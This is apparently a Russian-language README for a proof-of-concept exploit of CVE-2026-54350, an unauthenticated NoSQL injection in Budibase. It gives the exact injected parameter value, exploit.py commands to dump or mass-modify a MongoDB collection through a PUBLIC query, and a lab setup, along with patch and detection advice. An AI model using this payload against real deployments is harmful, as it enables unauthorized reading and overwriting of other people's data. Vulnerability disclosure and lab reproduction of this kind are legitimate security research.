
PoC для CVE-2026-54350 — неаутентифицированная NoSQL-инъекция операторов в Budibase (CVSS 10.0). Чтение/массовая запись любой коллекции документов через ПУБЛИЧНЫЙ запрос.
Неавторизованное внедрение операторов JSON/NoSQL в Budibase. Любой анонимный посетитель опубликованного приложения Budibase, которое предоставляет PUBLIC-запрос, основанный на источнике данных документов (MongoDB, CouchDB, Elasticsearch, DynamoDB-PartiQL или REST с телом JSON), может прочитать каждый документ соответствующей коллекции и, если существует публичный запрос на запись, изменить каждый документ — одним неавторизованным HTTP-запросом.
| CVE | CVE-2026-54350 |
| Advisory | GHSA-8qv3-p479-cj62 |
| CVSS 3.1 | 10.0 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| CWE | CWE-943 (Improper Neutralization of Special Elements in a Data Query), CWE-89 |
| Auth | Нет (неавторизованный) |
| Affected | Budibase <= 3.39.0 (диапазон уведомления вендора) |
| Fixed | 3.39.12 согласно NVD; вставленные кавычки уже нейтрализованы с версии 3.39.1, а явное исправление (processJsonStringSync) появилось в 3.39.9 |
| Verdict | ПОДТВЕРЖДЕНО — воспроизведено от начала до конца на 3.39.0 |
При выполнении запроса Budibase обогащает пользовательские параметры в исходное тело запроса JSON с помощью Handlebars, затем выполняет JSON.parse результата:
enrichContext() packages/server/src/sdk/workspace/queries/queries.ts
enrichedQuery.json = processStringSync('{"name":"{{ name }}"}', { name: <user> }, { noEscaping: true })
enrichedQuery.json = JSON.parse(enrichedQuery.json)
В уязвимых сборках параметр интерполируется без JSON-экранирования, поэтому значение, содержащее ", закрывает предполагаемую строку и внедряет соседние ключи в разобранный объект. Единственный фильтр ввода, validateQueryInputs() (api/controllers/query/index.ts), отклоняет только маркеры Handlebars ({{, }}) — он не затрагивает ", \, } или $.
Для MongoDB find разобранный объект передаётся напрямую в collection.find() (integrations/mongodb.ts). Дублирующийся ключ name, значением которого является объект-оператор, побеждает при слиянии JSON.parse, превращая сравнение строк в {$exists: true} и возвращая всю коллекцию. Та же техника в запросе updateMany расширяет фильтр на каждый документ.
Контроль доступа обходится, потому что authorized() (middleware/authorized.ts:141) завершается с return next(), когда роль доступа запроса установлена как PUBLIC, пропуская и аутентификацию сессии, и CSRF. Заголовок x-budibase-app-id, необходимый для достижения запроса, является публичным — он входит в URL каждого опубликованного приложения.
См. ANALYSIS.md для полного пошагового разбора кода и исследования границ версий.
Шаблон тела запроса (как настроено в конструкторе):
{"name":"{{ name }}"}
Внедряемое значение параметра name:
zzz","name":{"$exists":true},"$comment":"cve-2026-54350
После интерполяции и JSON.parse (слияние дублирующихся ключей, последний побеждает):
{ "name": { "$exists": true }, "$comment": "cve-2026-54350" }
$comment — это инертный мета-оператор MongoDB, который поглощает завершающие "} из шаблона, чтобы всё тело оставалось валидным JSON.
exploit.py — только стандартная библиотека Python 3, без зависимостей.
# Выгрузить всю коллекцию через PUBLIC-запрос чтения (find)
python3 exploit.py --url http://target --app-id app_<published> \
--query-id query_<...> --mode read
# Изменить каждый документ через PUBLIC-запрос updateMany
python3 exploit.py --url http://target --app-id app_<published> \
--query-id query_<...> --mode write
--app-id и --query-id — это публичные значения, которые можно наблюдать в собственном трафике API опубликованного приложения. --field переопределяет ключ JSON, к которому привязан параметр (по умолчанию используется --param).
Требуется Docker. Данный лабораторный стенд использует --network host (без мостовой сети) и mongo:4.4 (у хоста нет AVX; MongoDB 5.0+ требует его).
bash lab/setup.sh
# выводит PROD_APP_ID / READ_QUERY / UPDATE_QUERY, затем:
python3 exploit.py --url http://127.0.0.1 --app-id <PROD_APP_ID> \
--query-id <READ_QUERY> --mode read
lab/provision.py использует только легитимные API конструктора — он не ослабляет никаких настроек по умолчанию. Установка роли доступа запроса PUBLIC является полноценной функцией конструктора (опубликованные приложения раскрывают данные именно через этот механизм). Полная запись сеанса приведена в EVIDENCE.txt.
NVD указывает диапазон уязвимости как < 3.39.12. Эмпирически вектор с «голыми» кавычками эксплуатируется только на <= 3.39.0, что и соответствует диапазону, указанному в уведомлении вендора (GHSA). Начиная с 3.39.1 уровень шаблонизации уже экранирует вставленные кавычки (проверено: тот же запрос к 3.39.8 нейтрализован), а в 3.39.9 добавлено явное исправление processJsonStringSync. Таким образом, данное PoC нацелено на 3.39.0 — последний релиз внутри уязвимого диапазона вендора.
>= 3.39.12 или как минимум >= 3.39.9, где processJsonStringSync JSON-экранирует интерполированные параметры).PUBLIC; по возможности ограничьте их аутентифицированными ролями.Ищите запросы POST /api/v2/queries/<id> от неаутентифицированных сессий, у которых значения parameters содержат ", за которым следует префиксный оператор MongoDB с $ ($exists, $ne, $gt, $where, $regex, ...) или дублирующийся ключ JSON. В MongoDB включите профилирование и предупреждайте, когда параметр запроса, обычно являющийся строкой, приходит в виде объекта.
Исследование и PoC от Caio Fabrício (@BiiTts).